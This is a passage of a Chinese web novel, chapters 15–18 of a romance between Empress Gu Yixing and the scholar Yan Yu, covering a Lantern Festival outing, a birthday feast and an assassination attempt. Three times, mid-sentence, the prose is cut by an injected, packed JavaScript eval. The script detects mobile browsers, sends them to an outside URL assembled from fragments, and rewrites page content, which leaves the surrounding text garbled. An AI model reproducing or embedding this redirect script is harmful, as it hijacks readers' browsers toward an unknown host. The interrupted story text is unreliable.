言煜一下子就看破了自家妹妹的小心思,自是不会相信,于是转念一笑:“三串糖葫芦?” 言云芮愣了一下,但还是自顾自地继续吃。 “五串?” 言云芮眸色微动,言煜却是勾了勾唇,笑意浓重。 “十串。” “成交!”言云芮终于抵不住诱惑,笑着开了口。 她心里想着自己把陛下的心意告诉她哥也是好的,说不定这样陛下就能早日成为她的嫂子,她就能天天找她玩了呢! 这么想着,言云芮全然忘了那几块桂花糕的滋味,凑到言煜耳边,笑眯眯地小声道: “哥,你这么聪明,是真不知道还是装的啊?陛下就是那天翻墙头还救了我的蒙面女侠,人家可是很喜欢你的呢!当初我问她的时候都没有否认。” “现在她对我这么好,肯定又是借了你的光喽!” 声声入耳,言煜的心仿佛被什么东西烫了一般。他缓缓抬眸,望向卧房的方向,眼眸深处看似波澜不惊,实则暗流涌动。 15. 撩拨 之后半个月的时间,孤弈行被先前积压的奏折折磨得苦不堪言,就连年关也只是在办了个宫宴草草了事。直到十日后,年近上元,孤弈行才算稍稍闲散下来。 然而这一闲下来,孤弈行就想起言钟正前几天给她写的信,说是身体已经有所好转,上元之后便会携全家动身回家乡平江。 不过听到这个消息孤弈行的第一反应倒不是别的,而是被人坑了! 当初在土匪寨假扮江芸之时为了模仿江南女子温软的口音她可是费了好大的功夫,让琴潇教了她很久,没想到这姓言的竟然也是江南人士,当时竟却只字不提,见死不救! 岂有此理!下次见到他可要好好与他算算账!孤弈行心想。 “陛下,言公子和言小姐在外求见。”一个女官匆匆入内,禀报道。 孤弈行听完直接忍不住笑出来了,还真是说曹操曹操就到啊! “让他们……”孤弈行正要吩咐女官让他们进来,随即转念一想,不如自己去迎迎他们二人,顺便捉弄一下那个当初只字不提,见死不救的白眼狼。 孤弈行想着,嘴角忍不住微微上扬。 孤弈行刚走出御书房,便看见那一大一小站在外面。言云芮一见了孤弈行就很是开心,差点忘了行礼,最后还是言煜提醒才没有失了礼数。 “无妨。”孤弈行挥了挥手,笑着与言云芮说话,竟仿佛没看到言煜这个人似的。 等到站得有些累了,孤弈行牵着言云芮的手就要进御书房,然后走了一会儿似是才想起了后面还站着个人,回过头面无表情地道了一句:“你就站在外面,不要进来了。” 此话一出,不要说言煜眯了眯眼,就连言云芮都一脸震惊,想着陛下不是那时候说喜欢她哥的吗,怎么如今这般…… 但不知为何,孤弈行总觉得这一次言煜看她的眼神与以往有些不同,就连她方才故意刁难还是一副温润的模样,没有说半个字,仿佛任着她玩闹似的。 然而看着外面的风有些大了,孤弈行是真的担心这人的身子骨吃不消。于是不过几分钟的功夫,孤弈行就在心中默默叹了口气,想着自己还是心软了:算了,权当自己大发慈悲,暂且饶过他好了! “算了,进来坐吧。” 孤弈行向来是个直来直去的性子,此刻已经演不下去了:“这几日听说言公子的故乡在平江,才知道言公子原本也是江南人士,怎的先前就惯会见死不救?” 话音未落,言煜微不可见地勾了勾唇,心里已然明了孤弈行今日捉弄他的原因,原来是要报仇啊! 孤弈行转过身,特意去看他的表情,却总觉得这人是在憋笑,她倒是笑不出来了。 “纵然没有我教,陛下不是也学得很好吗?”孤弈行分明看见他挑了挑眉,浅笑道。 孤弈行一时间竟想不出话来反驳,突然脑子里蹦出来一句,于是没过脑就说了出来:“如果你教,你怎么不觉得我可能会学得更好?” 话音未落,就连一旁的女官都红了脸,更别提言云芮一脸看好戏的神色了。她猜到今天会有好戏发生,但没想到这两人竟当着她的面,毫不避讳地打情骂俏! 倒是言煜愣了一下,嘴角微微上扬,目光灼灼。 看到众人面面相觑,孤弈行才意识到自己说错话了,但毕竟不能失了威严,于是只是咳嗽一声,故作脸不红心不跳的模样。 “让御膳房做些点心来,种类要多样些。”孤弈行吩咐道。 一听到有好吃的,言云芮早就把刚才发生的事情抛在了脑后,眼睛直直地盯着孤弈行,忽闪忽闪地,冷不丁地蹦出来一句:“还是嫂子对我最好!” 说完言云芮才意识到不对,捂住嘴唔了一声,想着自己怎么把心里话说出来了。 孤弈行刚刚喝了一口茶,听到这话差点喷了出来,连连咳嗽了几声。 她侧过身,再去看言煜,发现他的反应也没好到哪儿去,不过倒好像也没有立马纠正这小姑娘,或许是没有反应过来吧。孤弈行心想。 一旁的女官似也没见过这副阵仗,在孤弈行的吩咐下先行退下了。 “小孩子,饭可以乱吃,话可不能乱说哦。”孤弈行刮了刮言云芮的鼻子,顺手捏了一下那看上去手感就很好的脸蛋,笑容肆意不羁。 “云芮知道了。”言云芮嘟了嘟嘴,憨笑了一下,可是孤弈行却不会傻到认为这小姑娘是个愚钝的,因为她和她哥本质上一样,都是鬼精鬼精的狐狸! 没过一会,各式各样的点心就闪花了言云芮的眼睛。 放眼望去,有枣泥酥饼,蜜汁蜂窝糕,椰香糯米团,山药芋泥糕,黄金桂花糕,奶酪豆沙酥,还有很多言云芮叫不出名字的点心,无不小巧玲珑,造型别致,看了让人食欲大开。 “陛下,这都是……给我做的吗?”言云芮说着下意识地咽了一下口水,亮晶晶的眼眸深处满是兴奋与感激。 “那当然,既然之前答应了你,就要做到,想我孤弈行什么时候食言过?”孤弈行笑着,勾了勾唇,嘴角微微上扬,“吃不完剩下的会有人送到你们府上,都是你的。” “陛下对我最好了!”言云芮说着一个奶酪豆沙酥就下了肚。 言煜很了解自家妹妹的秉性,所谓有钱便是爹,有奶就是娘,说的就是她言云芮。不过不知为何,今日听了这一句话,他非但不觉得好笑,反而有些莫名的欣喜。 “前几日听言相说身体已经好转,你们是不是也快要离京了?” “听爹爹说过了上元节我们就要回平江了,之后估计都很难再回洛阳了。”言云芮无奈地叹了口气,嘟了嘟嘴,似是有些恋恋不舍。 “京城的上元节最是热闹,若是陛下喜欢,我愿带陛下一游,也算尽了地主之谊。” 孤弈行倒是没想到当才一向默不作声的言煜会在此时开口,心中有些惊讶。 她微微抬眸,便撞见那一双矜贵,而又极为庄重的凤眼。他的眼尾此刻微微上扬,眼眸深处似藏着光亮,仿佛承得下整片星河。 就连孤弈行都不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828727|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不承认,自己是被面前这人的美色给蛊惑了。就算再退一步讲,这包吃包玩的,自己也不吃亏,于是孤弈行答应得十分爽快。 “太好了!太好了!我又可以和陛下一起玩了!”言云芮也很高兴,黏着孤弈行不肯撒手。 没人看见的地方,言煜笑意浓重,但他很清楚,或许这一去平江,他与孤弈行此生不会有再见之日。 所以这一次上元节,是他给自己的一次宽慰,也是一次告别。 正月十五,上元节。 这一日,按照往常的规矩,宫中也要准备宫宴,不过却被孤弈行找了一些借口搪塞过去,而此刻孤弈行已经换上便服出了宫,琴潇则跟在她的身后。 然后一出宫门,她便看见言云芮直接朝自己跑了过来,一脸笑嘻嘻的模样,大大的眼睛此刻更是弯成了月牙。 言煜站在一旁,自是也看到了她。他只见孤弈行今日身着绛红长裙,外面披上了一件算不上厚重的玄色披风,仿佛与朱红色的宫门融为一体,然而在言煜眼中,她却是最特别的存在。 让孤弈行没想到的是,这一次,就连言钟正与沈宣清都来了。不过孤弈行毕竟是见过大场面的人,随便找了个话题与这两人交谈了几句,也算免去了尴尬。 一行人先去了上元节集市,孤弈行发现这京都的集市果然热闹。然而她走了没多久,再回头的时候身旁便只看见言煜一人了,就连琴潇都没了踪影。 “他们人呢?琴潇呢?”孤弈行问道。 “云芮要去买吃的,父亲母亲便带她去了,琴侍卫长前去保护他们的安全。”言煜浅笑,微不可见地勾了勾唇。 孤弈行想着小孩子闹腾些也是应该的,便也没有多想。她笑了笑,笑容依旧张扬肆意。 她走在前面,却在一个卖煎角子的小摊旁站定不走了。孤弈行似是想到了什么,侧过身去,歪着头看一旁的言煜,实则暗暗憋笑。 “老板,来五个煎角子。”言煜很快明白了孤弈行的意思,轻轻抿唇,嘴角流露出浓重的笑意。 “好嘞公子,八文钱。”摊主笑着说。 言煜把铜钱递到摊主手上,抬眸便看见一旁的孤弈行一手夺过那一袋香气四溢的煎角子,似乎一脸的急不可耐。 “里面有汤,小心烫。”言煜下意识地提醒她。 孤弈行嘴上哦了一声,可身体却实诚地很,于是咬了一口,就被烫得说不出话来。可为了不让面前这人揶揄自己,孤弈行还是强忍着疼痛,装作一副无事发生的模样。 可就在此时,她的怀中被塞进了一壶酒。她也不管三七二十一,接过就喝,舌尖总算没有先前那么火烧火燎了。 这时候,孤弈行似是看到了什么有趣的东西,没等言煜反应过来就把酒塞到了他的手上,然后牵着他的衣袖便跑了起来。 夜色渐浓,言煜却觉得身旁女子的面庞格外清晰,而自己的心像被烫了一下,炙热难耐。 她好像惯会如此,撩拨了别人却还不自知。言煜笑了笑,心想。 16. 狼吃狐狸 孤弈行拉着言煜便往一个卖面具的小铺子而去。她左看右看,随手拎起了一个模样可爱的兔子面具往言煜脸上比划,而今日的言煜倒是格外顺从。 可孤弈行打量了一番,啧了啧嘴,心里总有种说不出的奇怪和违和。 后来她想通了,面前这人生着一副玲珑心肠,说不定生气的时候更加腹黑心机,怎么能拿那么温顺可爱的兔子与他相提并论呢? 不行,不行!孤弈行看似神色平静,实则在心中疯狂摇头。 孤弈行又朝那铺子上的面具看了几眼,终于发现了与言煜最最匹配的面具。 她挑了挑眉,笑容张扬肆意,一把拿过一只狐狸面具给言煜戴上,这才单手叉腰,颇为满意地点了点头。 “一副狐狸心肠,是不是很配?”孤弈行望着那双矜贵的凤眼,一脸得意。 言煜默不作声,孤弈行只见言煜微不可见地勾了勾嘴角,便觉得要有糟糕的事情发生。 她看到言煜不知什么时候偷偷拿了一个狼形面具,背手藏在了身后,此时还没等她反应过来,她便感受到那双骨节分明的手划过肌肤的灼热。 一旁的摊主可谓是一脸恨铁不成钢的模样,想他做这生意已经十来年了,还是第一次看见有公子送给姑娘狼形面具的。 他实在是没忍住说了一句:“公子长得如此俊雅,一看就是个聪明人,怎会想到送姑娘这种东西?”说完还连连叹了几口气。 孤弈行怔了一些下,看着面前男子言笑晏晏的模样,却出乎摊主意料没有生气,只是有些好奇地问:“为什么是狼?” “狼有野性,也有韧性,不管前路如何,绝不后退,它们会卧薪尝胆,然后等待时机一击毙命。” 言煜的眼神深沉了些,嘴角没了方才的玩笑。 “就如你临危受命,隐藏锋芒,一举今朝兵临城下。” 然而孤弈行却笑了出来,步步逼近,直到二人之间的空气几乎被抽离,言煜已经能够感受到她的呼吸。 她伸出手,勾出他面具后的细绳,然后狐狸面具便稳稳地落入了她的手中。 “言公子说得都很对,只是忘了一点。” 言煜耳根微微红了,他感觉自己仿佛被架在火上一般,炙热难耐,以至于他的眼神已经有些躲闪,声音有些干涩:“什么?” “那就是,狼要是急了,说不定会把狐狸……吃了。” 孤弈行挑了挑眉,言语之间似在挑逗,却使得言煜的整颗心都有些乱了。 上元夜的晚风分明有些凉,然而拂过言煜耳畔的一瞬间却仿佛极速升温,竟让言煜生出了一种微醺的错觉。 即使很多年后,他会忘记了这一年上元夜的很多细节,但他会永远记得她眼眸深处映着的华灯初上,盛世安宁,还有那个沉溺其中的自己。 或许只是无意为之,可他仍然会为这样的她心动不已。 言煜自诩是一个心机深沉,不轻易流露神色之人,可在这一瞬间,他望着面前鲜衣怒马的女子,竟生出一种从未有过的想法,甚至可以说是冲动。 “弈行……” 他的声音有些轻,四周又人声鼎沸,以至于孤弈行没有听清他具体说了什么,只知道他在说话。 “你说什么?”孤弈行稍稍提高了音量。 那一刻,仿佛梦醒了一般,言煜又恢复了往日的神色。他明白,所谓君臣,身份有别,隔在他们之间的始终有太多东西,而此一去或许再无相见之日,又何必庸人自扰? 他原本只是想把这次上元夜作为一次告别,却没想到他终究是贪恋了。 言煜自嘲地笑笑,眼眸深处看不分明的情绪暗了下去,目光却落在面前女子身上,迟迟没有移开。 “我方才说,这一去,或许天南海北,我与陛下再无相见之日了。” 孤弈行早就猜到言煜此行的目的,因而毫不惊讶,不过她倒没有流露出些许遗憾的神色,反倒是笑了笑,笑容依旧肆意张扬。 “我猜不会,因为我之前答应了你说会在祁地做东请你喝酒,不醉不归,我可是不会食言的。” 言煜怔了一下,随即浅笑,但提起饮酒,他似是想到了一些不堪回首的事情,神色有些不自若。 “诶?你当时好像并没有回答,是不是因为知道自己一杯就倒,不想让我看到你喝醉的模样?” 孤弈行思量了片刻,忍不住勾了勾唇。她望着面前这位素日里有着一副狐狸心肠的男子,发现将他一军原来是这么好玩的一件事情。 言煜咳嗽了一声,默不作声。 “算了算了,猜灯谜才应当是你言大少爷的强项,我想要……”孤弈行扫了一眼那边各式各样的花灯,继续道,“那个兔子灯。” 还没等言煜反应过来,孤弈行自己就一屁股在旁边的烤串摊坐下,点了一把烤串,翘着二郎腿,好不悠闲地吃了起来。 言煜无奈地笑笑,转身挤入人群,片刻后再次出现在孤弈行眼前时,孤弈行只见他手中提了大大小小的四五个花灯,其中自然也包括那个被她点名要的兔子灯。 孤弈行侧过身去,分明看见言煜的身后不少妙龄少女向她投来艳羡的目光。虽然她明白她们多半是误会了,不过这依旧改变不了孤弈行心中暗爽的事实。 “果然是言大少爷,佩服佩服。” 孤弈行笑了笑,说着打了一个饱嗝,低头一看桌上除了签子什么都不剩下了,一桌烤串竟然在如此短的时间内全数进入了她的腹中。 “我不饿,你吃吧。”言煜已然明白了她的心思,嘴角忍不住微微上扬,笑意浓重。 言煜虽是这么说,可是孤弈行还是执意给他又点了十几串,递到他面前。 “那可不行,还是要犒劳一下我们的大功臣。” 言煜忍不住笑了,笑容又随之有些凝重:“言煜唯愿我朝海晏河清,陛下能筑太平盛世,也能……” “寻得有情人。” 孤弈行分明感觉言煜说这话时的语气与往常有些不同,她笑了笑,眼眸明媚灿若桃花,却是格外得勾人。 言煜只觉在这一瞬间四周喧闹散去,世界静得仿佛只身下他们二人。他的心跳仿佛空了一拍,他努力隐去了情绪,刻意地侧过身去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828728|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而此刻的孤弈行只觉逗他好玩,殊不知自己对面前男子的感情也发生了细微的变化。 次日,孤弈行宣布言钟正告老还乡,言氏一族自洛阳城正门长武门而出,前往平江,而孤弈行则于城墙之上目送。 走出城门十几米,言煜似是想到了什么,停下脚步回身往城墙的方向望去。 巍峨的城墙之上,凤字旗迎风飘荡。她一身红衣,明艳动人,却又霸气侧露。 言煜远远地望去,仿佛能对上她的眼眸,而她好似也在看他。 他浅笑,因为他知道如今的她与当初那个刚刚入主洛阳的祁国女王孤弈行并无什么不同。 巍峨的城墙,滔天的权势都束缚不了她,她依旧是这世间独一个的孤弈行,敢爱敢恨,潇洒自若。 任尘世纷扰,她自乘风,俯首望万里长宁。 “哥,你在看什么?是在看陛下吗?” 言云芮的声音将言煜拉回了显示,他知道,是时候该告别了。 他勾了勾唇,唇边却似无笑意:“云芮,我们该走了。” 孤弈行静静地望着,直到一行人消失在自己的视线,心中竟不知为何有些空落落的。 接下来的两年里,孤弈行很少听到从平江传来的关于言氏一族的消息,她也因北伐,饥荒等大大小小的国事抽不开身,很少有时间闲下来。 而当闲下来的时候,她依旧像往常一样该吃吃,该喝喝,看上去丝毫没有亏待自己,但却总会觉得有些无趣。 再次听到关于言氏一族的消息,是言钟正即将操办五十大寿的时候,而那时孤弈行恰好在江南一代南巡,其中便要经过平江,因而心中便萌生出了一个念头。 两日后,平江,言府。 一个小厮匆忙入内,走到一个身着素衣,气质出尘的青年男子身旁,从衣袖中取出一件古朴色信封,恭恭敬敬地递到那男子手中。 “公子,刚刚外面来了一位一身劲服的女子,说是有一封信要交给您。” 言煜抬了抬眸,凤眼深处的情绪藏而不露。他声音低沉:“知道了,下去吧。” 那小厮鞠了一躬,随即走了出去。 等到他走远了,言煜才开始打量起手中的信封。这信封无论怎么看外观都平平无奇,要说特殊之处恐怕就是封面上不落一字,恍若崭新。 言煜将信封缓缓打开,在那一瞬间他的心中萌生了一种莫名的预感。 信纸上只有几行字,字迹略显潦草却洒脱不羁,写信之人的恣意可见一斑。 字迹入目,无需多言,言煜便知写信之人为何人。久违的情绪仿佛被唤醒,惦念仿佛也在这一刻落入了现实。 言煜只见上面写着: 言公子,好久不见,听闻五日后言相大寿,届时定会不请自来。 落款并无题字,只是落了一个梅花印章,梅花的下方浅浅地印了一个潇洒的孤字。 孤氏私印。 言煜勾了勾唇,他没想到传闻中极为神秘的孤氏私印竟会被她用在这个地方。想到这里,他的嘴角忍不住抽了抽,凤眼深处似浮着微光,笑意缱绻。 17. 招惹 言钟正的寿宴定在冬月十五,然而孤弈行在前一日却也没有闲着。 白日里孤弈行依旧微服私访,到了晚上才算有了几分空闲。然而一闲下来,孤弈行的心中便生出了一个些许荒唐的念头,不过常年伴其左右的孟启对此早已习以为常。 孤弈行正想着,嘴角忍不住微微上扬,随即披上一件夜行衣,戴上银质面具便如影般消失在夜色之中。 言府的墙头并不难爬,然而黑色的瓦片却难免显得有些粗糙,躺着有些硌人。孤弈行虽身体轻盈如燕,却也不敢乱动,免得发出什么不必要的声音来。 这一日的言府上下似乎都在忙着准备第二日寿宴的相关事宜,因而来来往往的人很多,但孤弈行却一眼就在人群之中找到了他。 两年不见,他的性子倒是更显得淡薄疏离了些,笑时依旧温润如玉,然而严肃时却有凛凛不可犯之感。 孤弈行不知他这两年来经历了什么,也一时不知他是否一贯如此,却只在她面前言笑晏晏。 恣意的笑容停留在唇边,孤弈行望着散落在他单薄身体上的微凉月光,心中竟一阵泛酸。 孤弈行知道,或许,这才是最真实的他。 孤弈行一时失神,却不知那着一身玄衣的男子似乎察觉到了一些动静,仰起头来看她,嘴角忍不住微微上扬。 待到夜色渐浓,人群散去,言煜依旧未曾离去,而是坐在亭中,左右手持子对弈。 孤弈行注意到,他似乎是特意挑了一个离她不远的地方,好似是故意让她看得更清楚似的。然而他却未曾抬头,仿佛不曾知晓她的存在。 孤弈行特意在屋檐之上挑了一个自己认为最舒服的地方躺下,悠闲地翘起了二郎腿。 她仔细地打量起亭中的男子,只观其侧颜,却见其面如冠玉,眉似墨月,长眉入鬓,竟有种超脱凡俗的俊逸之美。 她孤弈行自诩见过俊美男子无数,可让她如此移不开眼的却唯有这狐狸一人。 男狐狸精! 孤弈行恣意一笑,桃花眼深处似有微波,风流尽显。她抽了抽唇角,忍不住小声嘀咕了一句。 然而如此良辰美景,又有狐狸在侧,岂能无美酒?孤弈行似乎早有准备,随即便从袖中掏出一坛珍藏已久的佳酿,不一会儿大半坛酒便尽数下了肚。 酒意微醺,庭院又格外寂静,加之连日奔波,孤弈行便觉眼皮有些重了,右手撑着头便没了意识。 此时方才还坐在亭中左右手对弈的言煜却起了身,几记行云流水的轻云步便来到了孤弈行身旁。他的轻功极好,因而动作极轻,丝毫没有扰她。 他见一旁的酒坛子,起初只是笑,但当目光稳稳地落在面前女子身上之时,凤眼深处压抑已久的情绪却逐渐显得浓烈,最终已是难以掩盖。 言煜伸出骨节分明的右手,小心翼翼地将她被风拨乱的发丝整理到耳后。 他薄唇微启,素来藏而不露的眼眸深处此刻仿佛诉尽了所有温柔。他的声音压得很低,低得仿佛只有他自己才能听清: “孤弈行,我花了两年逼迫自己忘记你,祝福你,你如今缘何还要来招惹我?” 言煜微微侧过身,从一旁的屋檐上举起那酒坛子,喝了一口。 他勾了勾唇,眼神意味深长:“你可知,下一次,我不会了。” 不会再轻易放过你,也不会违背自己的内心祝福你和别人了。 纵然你拥有至高无上的权力和地位,我也会站在你身旁。 次日,冬月十五。 初冬的风已夹杂着些许凉意,来往的行人都披上了厚重的外袍,然而这一日言府热闹的气氛却丝毫没有受到这冬日寒意的影响。 言钟正为官将近三十载,结识肱骨之臣与文人墨客无数,因此这一日江南一代有名的人士几乎都受邀前往参加此次寿宴。 不仅如此,京城送来的寿礼更是体现了当今圣上对言钟正的看重。然而,除了提前被言煜告知的言钟正,沈宣清和言云芮,没有人猜到孤弈行竟会亲临言府。 孤弈行也不想把声势弄大,倒叫众人颠倒了此次寿宴的主次,因而便也没有声张,对外只以仰慕言钟正大名已久的江湖女侠的身份露面。 孤弈行这一日未让琴潇随其左右,只一人前来。她着一身绛红长袍,腰身以皮带束起,显得干脆利落,而青丝则是挽了个高马尾,江湖儿女的气质尽显。 言煜远远望去便认出了她,浅笑着引她入内。 孤弈行在言语特意安排的房间内落座,桃花眼深处依旧是一如既往的恣意风流。 言煜作为长子,这一日难免忙着应付一些场面,但他也记得孤弈行这一日喝了很多酒,喝空的酒坛子很快就摆满了大半张桌子。 她分明是笑着,但言煜却总觉得她在压抑着什么。 言煜担心她喝醉了出事,便叫言云芮去照顾她,但谁知没过一会儿,言云芮便叫人来传话,说是孤弈行喝醉了之后去了前廊,任是谁都拉不住。 “贤侄啊……” 一位言家的叔伯抚了抚言煜的肩膀,似乎还欲说话,可言煜此刻的心思却已全然不在面前的酒桌之上了。 “方才云芮说有些事需要处理,煜儿就先失陪了,作为诚意,自罚一杯。” 言煜浅笑着说完,便举起酒杯,将杯中酒一饮而尽,礼数周全地鞠了一躬,随即转身离去。 言煜走至前廊,便听见了久违的,熟悉的声音。然而相比往常,她的声音里似乎混杂着些许酒气,倒显得有些软绵绵的。 “你这小丫头不要一口一个陛下的……我也只不过比你大了六七岁而已。”孤弈行抓着言云芮的手,走路却还有些东摇西晃,仿佛在走凌云微步一般。 言煜见状嘴角微微勾起,无奈地摇了摇头,走了过去。 那一瞬间,言云芮第一次感觉到如释重负的滋味,因为她根本就劝不动,也拉不住此刻的孤弈行。 偏生孤弈行还不知道此刻的自己是有多么难缠,笑着就要往外面走。然而她走路摇摇晃晃的,一个重心不稳便往一处偏去,下一秒却被人揽住了腰部,落入了他的怀中。 指尖的温度一下子升高,炙热的感觉恍若藤蔓逐渐蔓及他的胸口,指尖竟也一时有些泛麻。 他低下头去,却发现她似乎也在看他。她确实醉了,雪白的肌肤缀上了星星点点的红晕,就连呼吸都裹挟着浓重的酒气,此刻与雪松的清香混杂在一起,却并不难闻。 他的喉结微微上下滚动。 “云芮,你先去陪陪长辈们,不要让他们觉得我们失了礼数。” 于是纵然言云芮方才看得津津有味,此刻也只好恋恋不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828729|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舍地去了。 “言煜,你说你当初喝醉是不是装的,我看你……一身酒气分明……分明还清醒得很。” 言煜见她气鼓鼓地嘟起了嘴,忍不住笑了出来。 她的右手使劲想要抓住他的衣袖却还是抓不住,最后顺手朝着他的脸伸来,捏了几下,好像发现了新大陆,于是饶有兴致地开始蹂|躏。 分明是她自己身上一身酒气,如今倒被说成他身上一身酒气了。言煜勾了勾唇,嘴角忍不住微微上扬,无奈地摇了摇头,笑容宠溺。 不过有一件事她说对了,他的酒量确实已经不同往日。其实只有他自己知道这其中的缘由,便只因她一句“好男儿应有万丈豪情,如何能不饮酒”。 “那你呢?你今日为何喝这么多?”言煜不予置否,却是皱了皱眉,换了一个话题。 孤弈行抓着他的小臂摇摇晃晃地站起身,望着他,目光灼灼。 她似是想到了什么,眼神恍惚却仿佛闪着微光,格外灵动,衬得他一副人畜无害的模样。这样的她,与平日里威严尽显的女皇判若两人。 孤弈行凑到他耳畔,笑着,声音细软,落入言煜的耳中似在挑拨:“我……告诉你一个秘密。” “其实那个总翻你家墙头的人……就是我。”孤弈行说话忍不住笑出了声来,然而她醉意朦胧,看不分明面前男子的模样。 言煜扶着她,侧过身笑。素来藏而不露的凤眼此刻映着面前女子的模样,是他从未见过的明艳动人。 她好像总是这样,撩人而不自知。 “我知道。” “你……知道?你怎么会知道?你怎么……什么都知道!”孤弈行摸不着头脑,嘴里忍不住嘀咕了几句。 言煜还欲说话,却听见背后不远处的屋檐上传来细碎的声响。他只觉不对,转身便见一蒙面人手持弓箭,箭已在弦上,随即射出。 孤弈行毕竟行军多年,自然不可能对这类动静毫无察觉。纵然此刻不甚清醒,但出于下意识的反应她还是以极快的速度将仗天抽出剑鞘。 然而她却晚了一步,她抬起头,便只见一道颀长的身影挡在自己身前。 言煜的右手抓住了飞驰而来的弓箭,箭杆被死死地握在手心里,虎口处却因为箭头强大的冲击力划出了一道不小的口子。 鲜红的血液蜿蜒而下,染红了箭头,滴落在地面,而他至始至终却没有闷哼一声。 孤弈行一下子清醒了不少,她知道此人的目标不是言煜,而是自己,这就是一场明目张胆的刺杀! 侍卫在言煜的命令下追上了那蒙面人,并将那人团团围住,但是结果不出言煜的意外,那人是一个死士,很快就咬舌自尽了。而在他的身上,也暂时没有查出什么有用的线索。 言钟正听闻消息也急忙赶来,自请其罪。孤弈行自知此事与言相无关,便笑言无碍,把他撵去安抚其他客人了。 “少爷,您的手……”飞鸢急急赶来,望着言煜鲜血淋漓的右手,一脸的着急,连忙从衣袖中掏出一瓶上好的金疮药来。 “飞鸢,我没事。”言煜浅笑,仿佛根本没把这点小伤放在心上。 “给我吧,保证你家少爷安然无恙。”孤弈行说着一把抢过飞鸢手中的白玉药瓶,抓住言煜的左手便往房间走去,只留下飞鸢一个人在原地发愣。 18. 吻 孤弈行拉着言煜坐下,随即从袖中抽出一方干净的素帕,右手却是悬在了半空,没有了动作。 不用孤弈行多言,言煜便知她是巧妇难为无米之炊了,于是唤了飞鸢去拿一小盆盐水来,顺便让后厨做了一碗醒酒汤。 没过一会儿,飞鸢便端来一小盆盐水和一碗醒酒汤,这下孤弈行总算来了劲。 她将素帕的一角浸了些许盐水,随即握住言煜的手腕,虎口处鲜血淋漓的伤口顿时暴露无遗,鲜红的血液在素帕的映衬下显得格外醒目。 孤弈行醉意尚存,依旧没有十分清醒,然而望见伤口之时却是愣了一下。 手指修长,骨节分明,这双手本应最适合弹琴,却因为她落下了一道或许永远也无法完全抹去的疤痕。 想到这里,孤弈行的心仿佛被烫了一下,泛起一阵只有她能感觉到的刺痛。 雪白肌肤上的烟霞还未散去,孤弈行小心翼翼地用被盐水浸湿的素帕一角为他拭去了虎口处的血水。 洁净的素帕随即被染红,落入装满盐水的盆中,仿佛孕育出了一朵鲜艳的花。 “为何挡在我前面?”孤弈行迫使自己睁开有些朦胧的睡眼,然而她的声音依旧软绵绵的,其中仿佛混杂着些许酒气,却是格外勾人心弦,“他伤不了我。” 言煜望着她,浅笑,凤眼深处似有微光散落,映着面前女子的脸庞,言语之间深情流露:“若换作是你,你也会做出同样的选择,不是吗?” 孤弈行有些愣住了,因为她知道他说得不错。但素日里一直是她保护别人,断然没有别人保护她的份儿。 因为她是孤弈行,正如言煜所说她与狼在韧性上有相似之处,但她更像是一头孤狼,不想要人保护,也无需人保护,过去的二十年一直如此。 但她今日却尝到了被人护在身后的滋味,她觉得心头泛起一阵暖流,觉得这样的感觉竟然……还不错! 她笑着,桃花眼深处风流尽显,笑容依旧张扬肆意。 她打开了装着金疮药的白玉药瓶,用指尖沾取了适量药膏,动作温柔地涂在了他的伤处。 言煜静静地望着她,只觉她的动作因为醉意朦胧而略显缓慢,衬得她活像一只小树懒,却是可爱得紧。 等到把伤口处理好了,孤弈行却瘫在椅子上不动了,惹得言煜一脸无奈,只得温言相劝:“先把醒酒汤喝了。” “不喝。” 孤弈行的腿动了一下,随即偏过头去,眼睛却始终没有睁开,说话的声音让言煜意识到她是在撒酒疯。 “就喝一口,好不好?”言煜拿她没办法,只好又往后退了一步。 “不要……”孤弈行蛮不讲理的声音弱了下去,随即她似是又想到了什么,抬起头来用一双桃花眼打量着面前的男子,挑了挑眉,嫣然一笑,“那你先喝!” 倒是言煜先被喝醉酒后蛮不讲理的孤弈行逗笑了,但他面对着孤弈行人畜无害的眼神却也不忍拒绝,只好谈好条件:“说好了,我喝一口,你就把剩下的喝完,不许反悔。” “好。”在言煜看不见的地方,孤弈行的唇边泛起一阵坏笑。 她是醉了,可倒也不太傻,或者说依旧是那个花样百出的孤弈行。 她心里想的可不是什么乖乖听话……而是在言煜喝的时候把碗打翻,那样她就不用喝那又酸又辣的玩意儿了! 纵然对方狐狸心肠,可在她孤弈行面前还是嫩了点! 言煜瞧她看上去还算顺从,笑着摇了摇头,端起碗来正浅浅地抿了一口,却见她眯着眼向自己倒来,他下意识地伸手去接她,于是碗就被打翻在地。 浅棕色的液体洒了一地,染湿了他深蓝色长袍的一角,却也有几滴落在了他的薄唇上,脖颈处。 